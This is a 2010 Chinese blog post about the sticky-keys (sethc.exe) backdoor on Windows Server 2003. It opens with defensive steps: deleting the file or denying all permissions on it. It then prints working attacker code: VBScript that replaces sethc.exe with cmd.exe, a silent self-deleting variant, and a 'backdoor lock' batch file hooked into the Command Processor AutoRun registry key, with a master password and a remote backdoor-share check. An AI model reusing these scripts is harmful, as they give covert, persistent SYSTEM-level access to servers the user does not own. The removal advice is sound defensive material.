****** 2010-06-05 18:31:07 阅读211 评论0   字号: 订阅

我的服务器安装了后门,我的网站被挂码,我一清除,又被换上。我得找到根源,后来发现被安装了后门。

以下是处理的方法,不过,服务器***,关键还是服务器要没有漏洞、补漏洞。

 

服务器被******.并被利用了系统的这个漏洞做了后门,在这里我说一下在windows2003 server系统中这个后门的简单处理方法:

1.删除C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache这两个目录的sethc.exe文件,(注意:dllcache这个目录是隐藏的,要在文件夹选项里选择"显示所有文件和文件夹"把"隐藏受系统保护的操作系统文件"的选择取消才能看得到).



2.使用权限来约束这两个文件C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache这两个目录的sethc.exe文件,(注意:dllcache这个目录是隐藏的,要在文件夹选项里选择"显示所有文件和文件夹"把"隐藏受系统保护的操作系统文件"的选择取消才能看得到). 在权限里设置为所有用户(Everyone)禁止运行

 

打开你的windows2003服务器3389远程管理客户端,然后连续按5下shift键。看看有什么东西!直接调用的粘置窗口的程序sethc.exe,很多***会CMD.exe文件来替换此文件的方式给自己留后门,一般该文件都具有users组的权限,现在的IDC在机器原始配置的时候都很少注意权限分配,再加上一些管理员对这些很陌生,所以很多人忽视了这个地方。

解决办法:
打开你的system32目录,寻找sethc.exe文件,默认情况,管理员是不能编辑此文件的,因为默认权限是继承不允许的。所以,在改文件上打开右键,选择“属性”,选择“安全”选项卡,再点击“高级”按钮,把“从父项继承……”前面的对勾去掉,然后确定一下。接下来有两种方式:一是删除所有组的权限,就是大家都用不了该文件,另一种是添加一个everyone组,然后设置该组的所有权限都是“拒绝”,效果是一样的,反正就是大家都玩不了。
还有另外一个位置/%systemroot%/system32/dllcache目录下,也使用同样的方法设置sethc.exe.

这样你的服务器就至少在这个文件生出现什么问题了。

下面给三段非常BT的sethc.exe后门代码,只做研究啊
Dim obj, success
Set obj = CreateObject(”WScript.Shell”)
success = obj.run(”cmd /c takeown /f %SystemRoot%\system32\sethc.exe”, 0, True)
success = obj.run(”cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F”, 0, True)
success = obj.run(”cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe”, 0, True)
success = obj.run(”cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe”, 0, True)
success = obj.run(”cmd /c del %SystemRoot%\system32\sethc.exe”, 0, True)
success = obj.run(”cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe”, 0, True)

自动应答,自动删除
On Error Resume Next
Dim obj, success
Set obj = CreateObject(”WScript.Shell”)
success = obj.run(”cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F? %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe? %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe”, 0, True)
CreateObject(”Scripting.FileSystemObject”).DeleteFile(WScript.ScriptName)

为了后门的不让大家都进去玩,所以加个后门锁的功能:
allyesno注:可以采用cmd 锁 来进行cmdshell的密码验证(关于什么是cmd锁,混混将在以后的文章中给大家提出)
用下面的后门锁的方法是 把代码保存为bdlock.bat
然后修改注册表位置即可
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
“AutoRun”=”bdlock.bat”
@Echo Off
title 后门登陆验证
color a
cls
set temprandom=%RANDOM%
echo 请输入验证码:%temprandom%
set/p check=
if “%check%”==”%temprandom%%temprandom%” goto passcheck
if “%check%”==”%temprandom%” (
rem 后门服务器验证
rem 如果没有后门验证服务器请rem注释掉下一行代码
if exist \192.168.8.8\backdoor$\pass goto passcheck
)
echo 验证失败
pause
exit
:passcheck
echo 验证成功
If “%passcmdlock%”==”http://blog.csdn.net/freexploit/” Goto endx
Set passcmdlock=http://blog.csdn.net/freexploit/
:allyesno
Set Errorlevel=>nul
Echo 请输入验证密码?
Set password=allyesno Is a pig>nul
Set/p password=
rem 万能密码
if “%password%”==”allyesno is a sb” goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr “^password=%timechange%%time:~1,1%%date:~8,2%%sum%$”>nul
If “%errorlevel%”==”0″ cls&Echo 口令正确&Goto End
Echo 请联系客服咨询正确密码!&Goto allyesno
:End
Set password=>nul
Set Errorlevel=>nul
Echo
:endx
 

 

 

进程文件: sethc 或者 sethc.exe

 

  进程名称: sethc.exe

 

  描述:Windows的粘滞键。是按5下shift后,windows就执行了system32下的sethc.exe。

 

  它本来是为不方便按组合 键的人设计的。 

 

  位置:c:\windows\system32\sethc.exe

 

  出品者: Microsoft Corp.

 

  属于: Windows

 

  系统进程: 是

 

  后台程序: 是

 

  使用网络: 否

 

  硬件相关: 否

 

  常见错误: 未知N/A

 

  内存使用: 996K

 

  安全等级 (0-5): 0

 

  间谍软件: 否

 

  Adware: 否

 

  广告软件: 否

 

  ***: 否